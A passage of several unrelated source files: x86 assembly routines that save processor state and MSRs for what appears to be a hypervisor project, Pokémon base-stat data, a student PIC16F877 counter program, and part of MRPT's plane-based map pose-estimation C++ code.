mov ecx,0c0000080h
rdmsr
mov dword ptr[rbx+120h],eax
mov dword ptr[rbx+124h],edx
; Save STAR
inc ecx
rdmsr
mov dword ptr[rbx+128h],eax
mov dword ptr[rbx+12ch],edx
; Save LSTAR
inc ecx
rdmsr
mov dword ptr[rbx+130h],eax
mov dword ptr[rbx+134h],edx
; Save CSTAR
inc ecx
rdmsr
mov dword ptr[rbx+138h],eax
mov dword ptr[rbx+13ch],edx
; Save SFMASK
inc ecx
rdmsr
mov dword ptr[rbx+144h],edx
mov dword ptr[rbx+140h],eax
; Save FS Base
mov ecx,0c0000100h
rdmsr
shl rdx,32
or rdx,rax
mov qword ptr[rbx+148h],rdx ; Save to MSR-State Area
mov qword ptr[rbx+38h],rdx ; Save to Segment State Area
; Save GS Base
inc ecx
rdmsr
shl rdx,32
or rdx,rax
mov qword ptr[rbx+150h],rdx ; Save to MSR-State Area
mov qword ptr[rbx+48h],rdx ; Save to Segment State Area
; Save GS Swap
inc ecx
rdmsr
mov dword ptr[rbx+158h],eax
mov dword ptr[rbx+15ch],edx
; MSR Saving is Over
pop rbx
; Function end. Finalize shadow space on stack.
add rsp,20h
ret
noir_save_processor_state endp
noir_xgetbv proc
xor eax,eax
xgetbv
shl rdx,32
or rax,rdx
ret
noir_xgetbv endp
noir_xsetbv proc
mov eax,edx
shr rdx,32
xsetbv
ret
noir_xsetbv endp
noir_writecr2 proc
mov cr2,rcx
ret
noir_writecr2 endp
else
assume fs:nothing
noir_get_segment_attributes proc gdt_base:dword,selector:word
mov ecx,dword ptr[gdt_base]
mov dx,word ptr[selector]
and dx,0fff8h
add ecx,edx
and ax,0f0ffh
ret
noir_get_segment_attributes endp
noir_save_processor_state proc uses edi state:dword
; Load Parameter and Initialize.
mov edi,dword ptr[state]
mov ecx,4ch
xor eax,eax
cld
rep stosd
; Save cs,ds,es,fs,gs,ss Selectors
mov word ptr[edi],cs
mov word ptr[edi+10h],ds
mov word ptr[edi+20h],es
mov word ptr[edi+30h],fs
mov word ptr[edi+40h],gs
mov word ptr[edi+50h],ss
; Save cs,ds,es,fs,gs,ss Limits
lsl eax,word ptr[edi]
mov dword ptr[edi+04h],eax
lsl eax,word ptr[edi+10h]
mov dword ptr[edi+14h],eax
lsl eax,word ptr[edi+20h]
mov dword ptr[edi+24h],eax
lsl eax,word ptr[edi+30h]
mov dword ptr[edi+34h],eax
lsl eax,word ptr[edi+40h]
mov dword ptr[edi+44h],eax
lsl eax,word ptr[edi+50h]
mov dword ptr[edi+54h],eax
; Save Task Register State
str word ptr[edi+60h]
lsl eax,word ptr[edi+60h]
mov dword ptr[edi+64h],eax
mov eax,dword ptr fs:[40h]
mov dword ptr[edi+68h],eax
; Save Global Descriptor Table Register
sgdt fword ptr[edi+76h]
shr dword ptr[edi+74h],16
; Save Interrupt Descriptor Table Register
sidt fword ptr[edi+86h]
shr dword ptr[edi+84h],16
; Save Segment Attributes - CS
push cs
push dword ptr[edi+78h]
call noir_get_segment_attributes
mov word ptr[edi+2h],ax
; Save Segment Attributes - DS
push ds
push dword ptr[edi+78h]
call noir_get_segment_attributes
mov word ptr[edi+12h],ax
; Save Segment Attributes - ES
push es
push dword ptr[edi+78h]
call noir_get_segment_attributes
mov word ptr[edi+22h],ax
; Save Segment Attributes - FS
push fs
push dword ptr[edi+78h]
call noir_get_segment_attributes
mov word ptr[edi+32h],ax
; Save Segment Attributes - GS
push gs
push dword ptr[edi+78h]
call noir_get_segment_attributes
mov word ptr[edi+42h],ax
; Save Segment Attributes - SS
push ss
push dword ptr[edi+78h]
call noir_get_segment_attributes
mov word ptr[edi+52h],ax
; Save Segment Attributes - TR
push dword ptr[edi+60h]
push dword ptr[edi+78h]
call noir_get_segment_attributes
mov word ptr[edi+62h],ax
; Save LDT Register Selector
sldt word ptr[edi+90h]
; Save Control Registers
mov eax,cr0
mov dword ptr[edi+0a0h],eax
mov eax,cr2
mov dword ptr[edi+0a4h],eax
mov eax,cr3
mov dword ptr[edi+0a8h],eax
mov eax,cr4
mov dword ptr[edi+0ach],eax
; Save Debug Registers
mov eax,dr0
mov dword ptr[edi+0b0h],eax
mov eax,dr1
mov dword ptr[edi+0b4h],eax
mov eax,dr2
mov dword ptr[edi+0b8h],eax
mov eax,dr3
mov dword ptr[edi+0bch],eax
mov eax,dr6
mov dword ptr[edi+0c0h],eax
mov eax,dr7
mov dword ptr[edi+0c4h],eax
; Save Model-Specific Registers
; Save SysEnter_CS
mov ecx,174h
rdmsr
mov dword ptr[ebx+0c8h],eax
mov dword ptr[ebx+0cch],edx
; Save SysEnter_ESP
inc ecx
rdmsr
mov dword ptr[ebx+0d0h],eax
mov dword ptr[ebx+0d4h],edx
; Save SysEnter_EIP
inc ecx
rdmsr
mov dword ptr[ebx+0d8h],eax
mov dword ptr[ebx+0dch],edx
; Save Debug Control MSR
mov ecx,1d9h
rdmsr
mov dword ptr[ebx+0e0h],eax
mov dword ptr[ebx+0e4h],edx
; Save PAT
mov ecx,277h
rdmsr
mov dword ptr[ebx+0e8h],eax
mov dword ptr[ebx+0ech],edx
; Save EFER
mov ecx,0c0000080h
rdmsr
mov dword ptr[ebx+0f0h],eax
mov dword ptr[ebx+0f4h],edx
; Save STAR
inc ecx
rdmsr
mov dword ptr[ebx+0f8h],eax
mov dword ptr[ebx+0fch],edx
; Save LSTAR
inc ecx
rdmsr
mov dword ptr[ebx+100h],eax
mov dword ptr[ebx+104h],edx
; Save CSTAR
inc ecx
rdmsr
mov dword ptr[ebx+108h],eax
mov dword ptr[ebx+10ch],edx
; Save SFMASK
inc ecx
rdmsr
mov dword ptr[ebx+110h],eax
mov dword ptr[ebx+114h],edx
; Save FS Base
mov ecx,0c0000100h
rdmsr
; Save to MSR State
mov dword ptr[edi+118h],eax
mov dword ptr[edi+11ch],edx
; Save to Segment State
mov dword ptr[ebx+38h],eax
mov dword ptr[edi+3ch],edx
; Save GS Base
inc ecx
rdmsr
; Save to MSR State
mov dword ptr[edi+120h],eax
mov dword ptr[edi+124h],edx
; Save to Segment State
mov dword ptr[ebx+48h],eax
mov dword ptr[edi+4ch],edx
; Save GS Swap
inc ecx
rdmsr
mov dword ptr[ebx+128h],eax
mov dword ptr[ebx+12ch],edx
; MSR Saving is Over
ret
noir_save_processor_state endp
noir_xsetbv proc xcr_id:dword,val_lo:dword,val_hi:dword
mov eax,dword ptr [val_lo]
mov edx,dword ptr [val_hi]
mov ecx,dword ptr [xcr_id]
xsetbv
ret
noir_xsetbv endp
endif
end |
db 0 ; species ID placeholder
db 45, 67, 60, 63, 35, 50
; hp atk def spd sat sdf
db WATER, WATER ; type
db 225 ; catch rate
db 111 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_F100 ; gender ratio
db 100 ; unknown 1
db 20 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/goldeen/front.dimensions"
db 0, 0, 0, 0 ; padding
db GROWTH_MEDIUM_FAST ; growth rate
dn EGG_WATER_2, EGG_WATER_2 ; egg groups
; tm/hm learnset
tmhm CURSE, TOXIC, HIDDEN_POWER, SNORE, BLIZZARD, ICY_WIND, PROTECT, RAIN_DANCE, ENDURE, FRUSTRATION, RETURN, DOUBLE_TEAM, SWAGGER, SLEEP_TALK, SWIFT, REST, ATTRACT, SURF, WATERFALL, ICE_BEAM
; end
|
; **********************************************************
; * Name : Simon Brennan *
; * Student Number : 2021282 *
; * Date : 10/03/2003 *
; * Assignment No : LAB4.asm *
; * Description : This program is a 8 bit binary counter *
; * that counts in 8421 code, through portd *
; * using a half a second interval loop *
; * The counter will only count up when *
; * the switch on PortA bit 4 is pressed *
; * *
; * Inputs : Address 03h -> Status *
; * Address 85h -> TrisA *
; * Address 88h -> TrisD *
; * Address 20h -> Loop1 *
; * Address 21h -> Loop2 *
; * Address 22h -> Loop3 *
; * Address 05h -> PortA
; * Outputs: Address 03h -> PortD *
; **********************************************************
list p=16F877
Status EQU 03h ; Address of status register
TrisA EQU 85h ; Address of Tristate Buffer A.
TrisD EQU 88h ; Address of Tristate Buffer D.
Loop1 EQU 20h ; Count variable for the first loop
Loop2 EQU 21h ; Count variable for the second loop
Loop3 EQU 22h ; Count variable for the first loop
PortA EQU 05h ; Address of Port A.
PortD EQU 08h ; Address of Port D.
ORG 0000h
START
BSF Status,5 ; Change to Memory Bank 1
CLRF TrisD ; Set all bits on PortD to outputs
BSF TrisA,4 ; Set Bit 3 on PortA to input
BCF Status,5 ; Move to Memory Bank 0
CLRF PortD ; Switch off all LED's
SWITCH
BTFSS PortA,4 ; Check if switch has been pressed
INCF PortD,1 ; Increment portD to make it cound
CALL DELAY ; Give us a half a second delay
GOTO SWITCH ; Go and check switch again
DELAY
;RETURN ;Used for simulation purposes
MOVLW 03h ;Set delay for 0.5 Second
MOVWF Loop3 ;Set Loop3 to Loop 3 Times
LOOP
DECFSZ Loop1,1 ;Loop 255 times then move to next loop
Goto LOOP ;Go Back to the beginning of the Loop
DECFSZ Loop2,1 ;Loop 255 times then move to next loop
Goto LOOP ;Go Back to the beginning of the Loop
RETURN ;
DECFSZ Loop3,1 ;Loop 5 times then move to next loop
Goto LOOP ;Go Back to the beginning of the Loop
RETURN ;Go back and execute instruction after last call
end ;End of Source
|
/* +------------------------------------------------------------------------+
| Mobile Robot Programming Toolkit (MRPT) |
| http://www.mrpt.org/ |
| |
| Copyright (c) 2005-2019, Individual contributors, see AUTHORS file |
| See: http://www.mrpt.org/Authors - All rights reserved. |
| Released under BSD License. See details in http://www.mrpt.org/License |
+------------------------------------------------------------------------+ */
/* Plane-based Map (PbMap) library
* Construction of plane-based maps and localization in it from RGBD Images.
* Writen by Eduardo Fernandez-Moral. See docs for <a
* href="group__mrpt__pbmap__grp.html" >mrpt-pbmap</a>
*/
#include "pbmap-precomp.h" // Precompiled headers
#include <mrpt/math/CArrayNumeric.h>
#include <mrpt/math/CMatrixFixedNumeric.h>
#include <mrpt/math/ransac.h>
#include <mrpt/poses/CPose3D.h>
#include <mrpt/pbmap/ConsistencyTest.h>
#include <mrpt/pbmap/SubgraphMatcher.h>
#include <mrpt/pbmap/PbMapLocaliser.h>
using namespace std;
using namespace Eigen;
using namespace mrpt::pbmap;
using namespace mrpt::math; // CMatrix*
using namespace mrpt;
ConsistencyTest::ConsistencyTest(PbMap& PBM_source, PbMap& PBM_target)
: PBMSource(PBM_source), PBMTarget(PBM_target)
{
}
double ConsistencyTest::calcAlignmentError(
std::map<unsigned, unsigned>& matched_planes, Eigen::Matrix4f& rigidTransf)
{
double sum_depth_errors2 = 0;
double sum_areas = 0;
// unsigned count_pts = 0;
for (auto it = matched_planes.begin(); it != matched_planes.end(); it++)
{
sum_depth_errors2 +=
(PBMSource.vPlanes[it->first].areaVoxels +
PBMTarget.vPlanes[it->second].areaVoxels) *
pow(PBMTarget.vPlanes[it->second].v3normal.dot(
compose(
rigidTransf, PBMSource.vPlanes[it->first].v3center) -
PBMTarget.vPlanes[it->second].v3center),
2);
sum_areas += PBMSource.vPlanes[it->first].areaVoxels +
PBMTarget.vPlanes[it->second].areaVoxels;
}
double avError2 = sum_depth_errors2 / sum_areas;
return sqrt(avError2);
}
// Transformation from Source to Target
Eigen::Matrix4f ConsistencyTest::initPose(
std::map<unsigned, unsigned>& matched_planes)
{
// assert(matched_planes.size() >= 3);
if (matched_planes.size() < 3)
{
cout << "Insuficient matched planes " << matched_planes.size() << endl;
return Eigen::Matrix4f::Identity();
}
// Calculate rotation
Matrix3f normalCovariances = Matrix3f::Zero();
normalCovariances(0, 0) = 1; // Limit rotation on y/z (horizontal) axis
for (auto it = matched_planes.begin(); it != matched_planes.end(); it++)
normalCovariances += PBMTarget.vPlanes[it->second].v3normal *
PBMSource.vPlanes[it->first].v3normal.transpose();
JacobiSVD<MatrixXf> svd(normalCovariances, ComputeThinU | ComputeThinV);
Matrix3f Rotation = svd.matrixV() * svd.matrixU().transpose();
// Check consitioning. 3 non-parallel planes are required in 6DoF, and only
// two for planar movement (3DoF)
bool bPlanar_cond = false;
for (auto it1 = matched_planes.begin();
it1 != matched_planes.end() && !bPlanar_cond; it1++)
{
auto it2 = it1;
it2++;
for (; it2 != matched_planes.end() && !bPlanar_cond; it2++)
{
Eigen::Vector3f planar_conditioning =
PBMSource.vPlanes[it1->first].v3normal.cross(
PBMSource.vPlanes[it2->first].v3normal);
if (fabs(planar_conditioning(0)) > 0.33) bPlanar_cond = true;
}
}
// float conditioning =
// svd.singularValues().maxCoeff()/svd.singularValues().minCoeff();
// if(conditioning > 100) // ^Dof
if (!bPlanar_cond) // ^Dof
{
// cout << " ConsistencyTest::initPose -> Bad conditioning: " <<
// conditioning << " -> Returning the identity\n";
return Eigen::Matrix4f::Identity();
}
double det = Rotation.determinant();
if (det != 1)
{
Eigen::Matrix3f aux;
aux << 1, 0, 0, 0, 1, 0, 0, 0, det;
Rotation = svd.matrixV() * aux * svd.matrixU().transpose();
}
// if(Rotation.determinant() < 0)
// Rotation.row(2) *= -1;
// float det = Rotation.determinant();
// cout << "Rotation det " << det << endl;
// cout << "Rotation\n" << Rotation << endl;
// // Evaluate error of each match looking for outliers
// float sumError = 0;
// for(map<unsigned, unsigned>::iterator it = matched_planes.begin(); it !=
// matched_planes.end(); it++)
// {
// float error = (PBMSource.vPlanes[it->first].v3normal .cross (Rotation
// * PBMTarget.vPlanes[it->second].v3normal ) ).norm();
// sumError += error;
// cout << "errorRot " << it->first << " " << it->second << " is " <<
// error << endl;
// }
// cout << "Average rotation error " << sumError / matched_planes.size() <<
// endl;
// Calculate translation
Vector3f translation;
Matrix3f hessian = Matrix3f::Zero();
Vector3f gradient = Vector3f::Zero();
float accum_error2 = 0.0;
hessian(0, 0) = 1; // Limit movement on x (vertical) axis
for (auto it = matched_planes.begin(); it != matched_planes.end(); it++)
{
float trans_error =
(PBMSource.vPlanes[it->first].d -
PBMTarget.vPlanes[it->second].d); //+n*t
accum_error2 += trans_error * trans_error;
// hessian += PBMTarget.vPlanes[it->second].v3normal *
// PBMTarget.vPlanes[it->second].v3normal.transpose();
// gradient += -PBMTarget.vPlanes[it->second].v3normal * trans_error;
hessian += PBMSource.vPlanes[it->first].v3normal *
PBMSource.vPlanes[it->first].v3normal.transpose();
gradient += PBMSource.vPlanes[it->first].v3normal * trans_error;
}
translation = -hessian.inverse() * gradient;
// cout << "Previous average translation error " << sumError /
// matched_planes.size() << endl;
// // Evaluate error of each match looking for outliers
// sumError = 0;
// for(map<unsigned, unsigned>::iterator it = matched_planes.begin(); it !=
// matched_planes.end(); it++)
// {
//// float trans_error = fabs(-PBMTarget.vPlanes[it->second].d +
/// translation.dot(PBMTarget.vPlanes[it->second].v3normal) +
/// PBMSource.vPlanes[it->first].d);
// float trans_error = fabs((PBMTarget.vPlanes[it->second].d -
// translation.dot(PBMSource.vPlanes[it->first].v3normal)) -
// PBMSource.vPlanes[it->first].d);
// sumError += trans_error;
// cout << "errorTrans " << it->first << " " << it->second << " is " <<
// trans_error << endl;
// }
// cout << "Average translation error " << sumError / matched_planes.size()
// << endl;
// Form SE3 transformation matrix. This matrix maps the model into the
// current data reference frame
Eigen::Matrix4f rigidTransf;
rigidTransf.block(0, 0, 3, 3) = Rotation;
rigidTransf.block(0, 3, 3, 1) = translation;
rigidTransf.row(3) << 0, 0, 0, 1;
return rigidTransf;
}
// Transformation from Source to Target
Eigen::Matrix4f ConsistencyTest::estimatePose(
std::map<unsigned, unsigned>& matched_planes)
{
if (matched_planes.size() < 3)
{
cout << "Insuficient matched planes " << matched_planes.size() << endl;
return Eigen::Matrix4f::Identity();
}
// Calculate rotation
Matrix3f normalCovariances = Matrix3f::Zero();
// normalCovariances(0,0) = 1; // Limit rotation on y/z (horizontal) axis
for (auto it = matched_planes.begin(); it != matched_planes.end(); it++)
normalCovariances += (PBMTarget.vPlanes[it->second].areaHull /
PBMTarget.vPlanes[it->second].d) *
PBMTarget.vPlanes[it->second].v3normal *
PBMSource.vPlanes[it->first].v3normal.transpose();
// normalCovariances += PBMTarget.vPlanes[it->second].v3normal *
// PBMSource.vPlanes[it->first].v3normal.transpose();
// Introduce the virtual matching of two vertical planes n=(1,0,0)
for (unsigned r = 0; r < 3; r++)
for (unsigned c = 0; c < 3; c++)
normalCovariances(0, 0) += normalCovariances(r, c);
JacobiSVD<MatrixXf> svd(normalCovariances, ComputeThinU | ComputeThinV);
Matrix3f Rotation = svd.matrixV() * svd.matrixU().transpose();
// Check consitioning. 3 non-parallel planes are required in 6DoF, and only
// two for planar movement (3DoF)
bool bPlanar_cond = false;
for (auto it1 = matched_planes.begin();
it1 != matched_planes.end() && !bPlanar_cond; it1++)
{
auto it2 = it1;
it2++;
for (; it2 != matched_planes.end() && !bPlanar_cond; it2++)
{
Eigen::Vector3f planar_conditioning =
PBMSource.vPlanes[it1->first].v3normal.cross(
PBMSource.vPlanes[it2->first].v3normal);
if (fabs(planar_conditioning(0)) > 0.33) bPlanar_cond = true;
}
}
// float conditioning =
// svd.singularValues().maxCoeff()/svd.singularValues().minCoeff();
// if(conditioning > 100) // ^Dof
if (!bPlanar_cond) // ^Dof
{
// cout << " ConsistencyTest::initPose -> Bad conditioning: " <<
// conditioning << " -> Returning the identity\n";
return Eigen::Matrix4f::Identity();
}
double det = Rotation.determinant();
if (det != 1)
{
Eigen::Matrix3f aux;
aux << 1, 0, 0, 0, 1, 0, 0, 0, det;
Rotation = svd.matrixV() * aux * svd.matrixU().transpose();
}
// cout << "Rotation\n" << Rotation << endl;
// // Evaluate error of each match looking for outliers
// float sumError = 0;
// for(map<unsigned, unsigned>::iterator it = matched_planes.begin(); it !=
// matched_planes.end(); it++)
// {
// float error = (PBMSource.vPlanes[it->first].v3normal .cross (Rotation
// * PBMTarget.vPlanes[it->second].v3normal ) ).norm();
// sumError += error;
// cout << "errorRot " << it->first << " " << it->second << " is " <<
// error << endl;
// }
// cout << "Average rotation error " << sumError / matched_planes.size() <<
// endl;
// Calculate translation
Vector3f translation;
Matrix3f hessian = Matrix3f::Zero();
Vector3f gradient = Vector3f::Zero();
// float accum_error2 = 0.0;
// hessian(0,0) = 1; // Limit movement on x (vertical) axis
for (auto it = matched_planes.begin(); it != matched_planes.end(); it++)
{
float trans_error =
(PBMSource.vPlanes[it->first].d -
PBMTarget.vPlanes[it->second].d); //+n*t
// cout << it->first << " area " <<
// PBMSource.vPlanes[it->first].areaHull << endl;
// accum_error2 += trans_error * trans_error;
// hessian += PBMTarget.vPlanes[it->second].v3normal *
// PBMTarget.vPlanes[it->second].v3normal.transpose();
// gradient += -PBMTarget.vPlanes[it->second].v3normal * trans_error;
hessian += (PBMSource.vPlanes[it->first].areaHull /
PBMSource.vPlanes[it->first].d) *
PBMSource.vPlanes[it->first].v3normal *
PBMSource.vPlanes[it->first].v3normal.transpose();
gradient += (PBMSource.vPlanes[it->first].areaHull /
PBMSource.vPlanes[it->first].d) *
PBMSource.vPlanes[it->first].v3normal * trans_error;
}
// Introduce the virtual matching of two vertical planes n=(1,0,0)
for (unsigned r = 0; r < 3; r++)
for (unsigned c = 0; c < 3; c++) hessian(0, 0) += hessian(r, c);
translation = -hessian.inverse() * gradient;
// cout << "Previous average translation error " << sumError /
// matched_planes.size() << endl;
// // Evaluate error of each match looking for outliers
// sumError = 0;
// for(map<unsigned, unsigned>::iterator it = matched_planes.begin(); it !=
// matched_planes.end(); it++)
// {
//// float trans_error = fabs(-PBMTarget.vPlanes[it->second].d +
/// translation.dot(PBMTarget.vPlanes[it->second].v3normal) +
/// PBMSource.vPlanes[it->first].d);
// float trans_error = fabs((PBMTarget.vPlanes[it->second].d -
// translation.dot(PBMSource.vPlanes[it->first].v3normal)) -
// PBMSource.vPlanes[it->first].d);
// sumError += trans_error;
// cout << "errorTrans " << it->first << " " << it->second << " is " <<
// trans_error << endl;
// }
// cout << "Average translation error " << sumError / matched_planes.size()
// << endl;
// Form SE3 transformation matrix. This matrix maps the model into the
// current data reference frame
Eigen::Matrix4f rigidTransf;
rigidTransf.block(0, 0, 3, 3) = Rotation;
rigidTransf.block(0, 3, 3, 1) = translation;
rigidTransf.row(3) << 0, 0, 0, 1;
return rigidTransf;
}
bool ConsistencyTest::estimatePoseWithCovariance(
std::map<unsigned, unsigned>& matched_planes, Eigen::Matrix4f& rigidTransf,
Eigen::Matrix<float, 6, 6>& covarianceM)
{
if (matched_planes.size() < 3)
{
cout << "Insuficient matched planes " << matched_planes.size() << endl;
return false;
}
unsigned col = 0;
MatrixXf normalVectors(3, matched_planes.size());
for (auto it = matched_planes.begin(); it != matched_planes.end();
it++, col++)
normalVectors.col(col) = PBMTarget.vPlanes[it->first].v3normal;
JacobiSVD<MatrixXf> svd_cond(normalVectors, ComputeThinU | ComputeThinV);
// cout << "SV " << svd_cond.singularValues().transpose() << endl;
if (svd_cond.singularValues()[0] / svd_cond.singularValues()[1] > 10)
return false;
// Calculate rotation
Matrix3f normalCovariances = Matrix3f::Zero();
// normalCovariances(0,0) = 1; // Limit rotation on y/z (horizontal) axis
for (auto it = matched_planes.begin(); it != matched_planes.end(); it++)
normalCovariances += (PBMSource.vPlanes[it->first].areaHull /
PBMSource.vPlanes[it->first].d) *
PBMTarget.vPlanes[it->second].v3normal *
PBMSource.vPlanes[it->first].v3normal.transpose();
// Limit the rotation to the X (vertical) axis by introducing the virtual
// matching of two large horizontal planes n=(1,0,0)
for (unsigned r = 0; r < 3; r++)
for (unsigned c = 0; c < 3; c++)
normalCovariances(0, 0) += fabs(normalCovariances(r, c));
JacobiSVD<MatrixXf> svd(normalCovariances, ComputeThinU | ComputeThinV);
Matrix3f Rotation = svd.matrixV() * svd.matrixU().transpose();
double det = Rotation.determinant();
if (det != 1)
{
Eigen::Matrix3f aux;
aux << 1, 0, 0, 0, 1, 0, 0, 0, det;
Rotation = svd.matrixV() * aux * svd.matrixU().transpose();
}
// Calculate translation
Vector3f translation;
Matrix3f hessian = Matrix3f::Zero();
Vector3f gradient = Vector3f::Zero();
// hessian(0,0) = 1; // Limit movement on x (vertical) axis
for (auto it = matched_planes.begin(); it != matched_planes.end(); it++)
{
float trans_error =
(PBMSource.vPlanes[it->first].d -
PBMTarget.vPlanes[it->second].d); //+n*t
hessian += (PBMSource.vPlanes[it->first].areaHull /
PBMSource.vPlanes[it->first].d) *
PBMSource.vPlanes[it->first].v3normal *
PBMSource.vPlanes[it->first].v3normal.transpose();
gradient += (PBMSource.vPlanes[it->first].areaHull /
PBMSource.vPlanes[it->first].d) *
PBMSource.vPlanes[it->first].v3normal * trans_error;
}
// Introduce the virtual matching of a vertical plane n=(1,0,0)
for (unsigned r = 0; r < 3; r++)
for (unsigned c = 0; c < 3; c++) hessian(0, 0) += fabs(hessian(r, c));
translation = -hessian.inverse() * gradient;
// Form SE3 transformation matrix. This matrix maps the model into the
// current data reference frame
// Eigen::Matrix4f rigidTransf;
rigidTransf.block(0, 0, 3, 3) = Rotation;
rigidTransf.block(0, 3, 3, 1) = translation;
rigidTransf.row(3) << 0, 0, 0, 1;
// Eigen::Matrix<float,6,6> covarianceM = Eigen::Matrix<float,6,6>::Zero();
covarianceM.block(0, 0, 3, 3) = hessian; // The first diagonal 3x3 block
// corresponds to the translation
// part
covarianceM.block(3, 3, 3, 3) = normalCovariances; // Rotation block
return true;
}
Eigen::Matrix4f ConsistencyTest::initPose2D(
std::map<unsigned, unsigned>& matched_planes)
{
// Calculate rotation
Matrix3f normalCovariances = Matrix3f::Zero();
for (auto it = matched_planes.begin(); it != matched_planes.end(); it++)
normalCovariances += PBMTarget.vPlanes[it->second].v3normal *
PBMSource.vPlanes[it->first].v3normal.transpose();
normalCovariances(1, 1) += 100; // Rotation "restricted" to the y axis
JacobiSVD<MatrixXf> svd(normalCovariances, ComputeThinU | ComputeThinV);
Matrix3f Rotation = svd.matrixU() * svd.matrixV().transpose();
if (Rotation.determinant() < 0)
// Rotation.row(2) *= -1;
Rotation = -Rotation;
// Calculate translation
Vector3f translation;
Vector3f center_data = Vector3f::Zero(), center_model = Vector3f::Zero();
Vector3f centerFull_data = Vector3f::Zero(),
centerFull_model = Vector3f::Zero();
unsigned numFull = 0, numNonStruct = 0;
for (auto it = matched_planes.begin(); it != matched_planes.end(); it++)
{
if (PBMSource.vPlanes[it->first].bFromStructure) // The certainty in
// center of
// structural planes
// is too low
continue;
++numNonStruct;
center_data += PBMSource.vPlanes[it->first].v3center;
center_model += PBMTarget.vPlanes[it->second].v3center;
if (PBMSource.vPlanes[it->first].bFullExtent)
{
centerFull_data += PBMSource.vPlanes[it->first].v3center;
centerFull_model += PBMTarget.vPlanes[it->second].v3center;
++numFull;
}
}
if (numFull > 0)
{
translation =
(-centerFull_model + Rotation * centerFull_data) / numFull;
}
else
{
translation = (-center_model + Rotation * center_data) / numNonStruct;
}
translation[1] = 0; // Restrict no translation in the y axis
// Form SE3 transformation matrix. This matrix maps the model into the
// current data reference frame
Eigen::Matrix4f rigidTransf;
rigidTransf.block(0, 0, 3, 3) = Rotation;
rigidTransf.block(0, 3, 3, 1) = translation;
rigidTransf.row(3) << 0, 0, 0, 1;
return rigidTransf;
}
Eigen::Matrix4f ConsistencyTest::getRTwithModel(
std::map<unsigned, unsigned>& matched_planes)
{
assert(matched_planes.size() >= 3);
Eigen::Matrix4f rigidTransf =
initPose(matched_planes); // Inverse-Pose which maps from model to data
// std::map<unsigned, unsigned> surrounding_planes = matched_planes;
// surrounding_planes.insert(...);
double alignmentError = calcAlignmentError(matched_planes, rigidTransf);
#ifdef _VERBOSE
cout << "INITIALIZATION POSE \n" << rigidTransf << endl;
cout << "Alignment error " << alignmentError << endl;
#endif
unsigned nIter = 0;
double improveRate = 0;
while (nIter < 10 && improveRate < 0.999)
{
// Find the rigid transformation which minimizes the distance to the
// corresponding planes in the model
Vector3f ptInModelRef;
Eigen::Matrix<float, 6, 1> v6JacDepthPlane;
Eigen::Matrix<float, 6, 1> v6Error = Eigen::Matrix<float, 6, 1>::Zero();
Eigen::Matrix<float, 6, 6> m6Hessian =
Eigen::Matrix<float, 6, 6>::Zero();
double depthError;
for (auto it = matched_planes.begin(); it != matched_planes.end(); it++)
{
ptInModelRef =
compose(rigidTransf, PBMSource.vPlanes[it->first].v3center);
depthError = PBMTarget.vPlanes[it->second].v3normal.dot(
ptInModelRef - PBMTarget.vPlanes[it->second].v3center);
v6JacDepthPlane.head(3) = PBMTarget.vPlanes[it->second].v3normal;
v6JacDepthPlane(3) =
-PBMTarget.vPlanes[it->second].v3normal(1) * ptInModelRef(2) +
PBMTarget.vPlanes[it->second].v3normal(2) * ptInModelRef(1);
v6JacDepthPlane(4) =
PBMTarget.vPlanes[it->second].v3normal(0) * ptInModelRef(2) -
PBMTarget.vPlanes[it->second].v3normal(2) * ptInModelRef(0);
v6JacDepthPlane(5) =
-PBMTarget.vPlanes[it->second].v3normal(0) * ptInModelRef(1) +
PBMTarget.vPlanes[it->second].v3normal(1) * ptInModelRef(0);
m6Hessian += v6JacDepthPlane * v6JacDepthPlane.transpose();
v6Error += v6JacDepthPlane * depthError;
}
Eigen::Matrix<float, 6, 1> updatedSE3 =
(m6Hessian.inverse() * v6Error).transpose();
mrpt::math::CArrayNumeric<double, 6> _updatedSE3;
_updatedSE3(0) = updatedSE3(0);
_updatedSE3(1) = updatedSE3(1);
_updatedSE3(2) = updatedSE3(2);
_updatedSE3(3) = updatedSE3(3);
_updatedSE3(4) = updatedSE3(4);
_updatedSE3(5) = updatedSE3(5);
mrpt::math::CMatrixDouble44 CMatUpdate;
mrpt::poses::CPose3D::exp(_updatedSE3).getHomogeneousMatrix(CMatUpdate);
Eigen::Matrix4f updatePose;
updatePose << CMatUpdate(0, 0), CMatUpdate(0, 1), CMatUpdate(0, 2),
CMatUpdate(0, 3), CMatUpdate(1, 0), CMatUpdate(1, 1),
CMatUpdate(1, 2), CMatUpdate(1, 3), CMatUpdate(2, 0),
CMatUpdate(2, 1), CMatUpdate(2, 2), CMatUpdate(2, 3), 0, 0, 0, 1;
Eigen::Matrix4f tempPose = compose(updatePose, rigidTransf);
double newError = calcAlignmentError(matched_planes, tempPose);
#ifdef _VERBOSE
cout << "New alignment error " << newError << endl;
#endif
if (newError < alignmentError)
{
improveRate = newError / alignmentError;
alignmentError = newError;
rigidTransf = tempPose;
}
else
{
#ifdef _VERBOSE
cout << "Not converging in iteration " << nIter << endl;
#endif
break;
}
++nIter;
}
#ifdef _VERBOSE
cout << "Consistency test converged after " << nIter << endl;
#endif
return rigidTransf;
}
// Obtain the rigid transformation from 3 matched planes
CMatrixDouble getAlignment(const CMatrixDouble& matched_planes)
{
assert(matched_planes.rows() == 8 && matched_planes.cols() == 3);
// Calculate rotation
Matrix3f normalCovariances = Matrix3f::Zero();
normalCovariances(0, 0) = 1;
for (unsigned i = 0; i < 3; i++)
{
Vector3f n_i = Vector3f(
matched_planes(0, i), matched_planes(1, i), matched_planes(2, i));
Vector3f n_ii = Vector3f(
matched_planes(4, i), matched_planes(5, i), matched_planes(6, i));
normalCovariances += n_i * n_ii.transpose();
// normalCovariances += matched_planes.block(i,0,1,3) *
// matched_planes.block(i,4,1,3).transpose();
}
JacobiSVD<MatrixXf> svd(normalCovariances, ComputeThinU | ComputeThinV);
Matrix3f Rotation = svd.matrixV() * svd.matrixU().transpose();
// float conditioning =
// svd.singularValues().maxCoeff()/svd.singularValues().minCoeff();
// if(conditioning > 100)
// {
// cout << " ConsistencyTest::initPose -> Bad conditioning: " <<
// conditioning << " -> Returning the identity\n";
// return Eigen::Matrix4f::Identity();
// }
double det = Rotation.determinant();
if (det != 1)
{
Eigen::Matrix3f aux;
aux << 1, 0, 0, 0, 1, 0, 0, 0, det;
Rotation = svd.matrixV() * aux * svd.matrixU().transpose();
}
// Calculate translation
Vector3f translation;
